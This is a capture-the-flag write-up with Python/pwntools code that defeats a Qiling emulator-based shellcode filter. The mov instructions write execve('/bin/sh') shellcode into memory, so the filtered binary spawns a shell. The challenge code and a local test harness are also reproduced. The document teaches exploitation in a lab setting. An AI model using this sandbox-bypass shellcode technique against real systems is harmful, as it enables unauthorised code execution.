The previous writeup [https://ctftime.org/writeup/31092](https://ctftime.org/writeup/31092) is poorly explained, so I tried and wrote it again. Also no need for `mov rax, rsp` instruction at the end. 
# Solution```pythonfrom pwn import *context.arch="amd64"
shellcode_bytes = asm(shellcraft.sh())print(len(shellcode_bytes)) # it is 48 so we use 6 registers to mov
shellcode_bytes_unpacked=[]for offset in range(0,len(shellcode_bytes),8):    # unpack bytes to use in mov instructions    shellcode_bytes_unpacked.append(u64(shellcode_bytes[offset:offset+8]))
sc=f"""mov rbx, {shellcode_bytes_unpacked[0]}mov rcx, {shellcode_bytes_unpacked[1]}mov rdx, {shellcode_bytes_unpacked[2]}mov rsi, {shellcode_bytes_unpacked[3]}mov rdi, {shellcode_bytes_unpacked[4]}mov r9,  {shellcode_bytes_unpacked[5]}
lea rax, [rip+rip_offset_label]
mov QWORD PTR [rax], rbxmov QWORD PTR [rax+0x8], rcxmov QWORD PTR [rax+0x10], rdxmov QWORD PTR [rax+0x18], rsimov QWORD PTR [rax+0x20], rdimov QWORD PTR [rax+0x28], r9
rip_offset_label:
"""
inp = asm(sc).hex()print(inp)```
# Code given in the challenge```python#!/usr/bin/env python3import qilingimport pwnimport subprocessimport capstone.x86_const
pwn.context.arch = "amd64"dump = []
def code_hook(ql, address, size):    global dump    buf = ql.mem.read(address, size)    for i in md.disasm(buf, address):        allowed_syscalls = {1, 0x3c}        if (            capstone.x86_const.X86_GRP_INT in i.groups            and ql.reg.eax not in allowed_syscalls        ):            print(f"[-] syscall = {hex(ql.reg.eax)}")            raise ValueError("HACKING DETECTED!")
        ignored_groups = {            capstone.x86_const.X86_GRP_JUMP,            capstone.x86_const.X86_GRP_CALL,            capstone.x86_const.X86_GRP_RET,            capstone.x86_const.X86_GRP_IRET,            capstone.x86_const.X86_GRP_BRANCH_RELATIVE,        }        ignore = len(set(i.groups) & ignored_groups) > 0
        print(            f"[{' ' if ignore else '+'}] {hex(i.address)}: {i.mnemonic} {i.op_str}"        )        if not ignore:            dump.append(bytes(i.bytes))
inp = input("Enter code in hex:\n")code = bytes.fromhex(inp)
ql = qiling.Qiling(    code=code,    rootfs="/",    ostype="linux",    archtype="x8664",)
ql.hook_code(code_hook)md = ql.create_disassembler()md.detail = Trueql.run()
print("[+] Your program has been flattened! Executing ...")new_code = b"".join(dump)filename = pwn.make_elf(new_code, extract=False, vma=0x11FF000)subprocess.run([filename])
```
# To try locally```python#!/usr/bin/env python3import qilingimport pwnimport subprocessimport capstone.x86_const
pwn.context.arch = "amd64"dump = []
def code_hook(ql, address, size):    global dump    buf = ql.mem.read(address, size)    for i in md.disasm(buf, address):        allowed_syscalls = {1, 0x3c}        if (            capstone.x86_const.X86_GRP_INT in i.groups            and ql.reg.eax not in allowed_syscalls        ):            print(f"[-] syscall = {hex(ql.reg.eax)}")            raise ValueError("HACKING DETECTED!")
        ignored_groups = {            capstone.x86_const.X86_GRP_JUMP,            capstone.x86_const.X86_GRP_CALL,            capstone.x86_const.X86_GRP_RET,            capstone.x86_const.X86_GRP_IRET,            capstone.x86_const.X86_GRP_BRANCH_RELATIVE,        }        ignore = len(set(i.groups) & ignored_groups) > 0
        print(            f"[{' ' if ignore else '+'}] {hex(i.address)}: {i.mnemonic} {i.op_str}"        )        if not ignore:            dump.append(bytes(i.bytes))
#inp = input("Enter code in hex:\n")from pwn import *context.arch="amd64"
shellcode_bytes = asm(shellcraft.sh())print(len(shellcode_bytes)) # it is 48 so we use 6 registers to movshellcode_bytes_unpacked=[]for offset in range(0,len(shellcode_bytes),8):    # unpack bytes to use in mov instructions    shellcode_bytes_unpacked.append(u64(shellcode_bytes[offset:offset+8]))
sc=f"""mov rbx, {shellcode_bytes_unpacked[0]}mov rcx, {shellcode_bytes_unpacked[1]}mov rdx, {shellcode_bytes_unpacked[2]}mov rsi, {shellcode_bytes_unpacked[3]}mov rdi, {shellcode_bytes_unpacked[4]}mov r9,  {shellcode_bytes_unpacked[5]}
lea rax, [rip+rip_offset_label]
mov QWORD PTR [rax], rbxmov QWORD PTR [rax+0x8], rcxmov QWORD PTR [rax+0x10], rdxmov QWORD PTR [rax+0x18], rsimov QWORD PTR [rax+0x20], rdimov QWORD PTR [rax+0x28], r9
rip_offset_label:
"""
inp = asm(sc).hex()code = bytes.fromhex(inp)
ql = qiling.Qiling(    code=code,    rootfs="/",    ostype="linux",    archtype="x8664",)
ql.hook_code(code_hook)md = ql.create_disassembler()md.detail = Trueql.run()
print("[+] Your program has been flattened! Executing ...")new_code = b"".join(dump)filename = pwn.make_elf(new_code, extract=False, vma=0x11FF000)import osos.system(f"cp {filename} .")subprocess.run([filename])````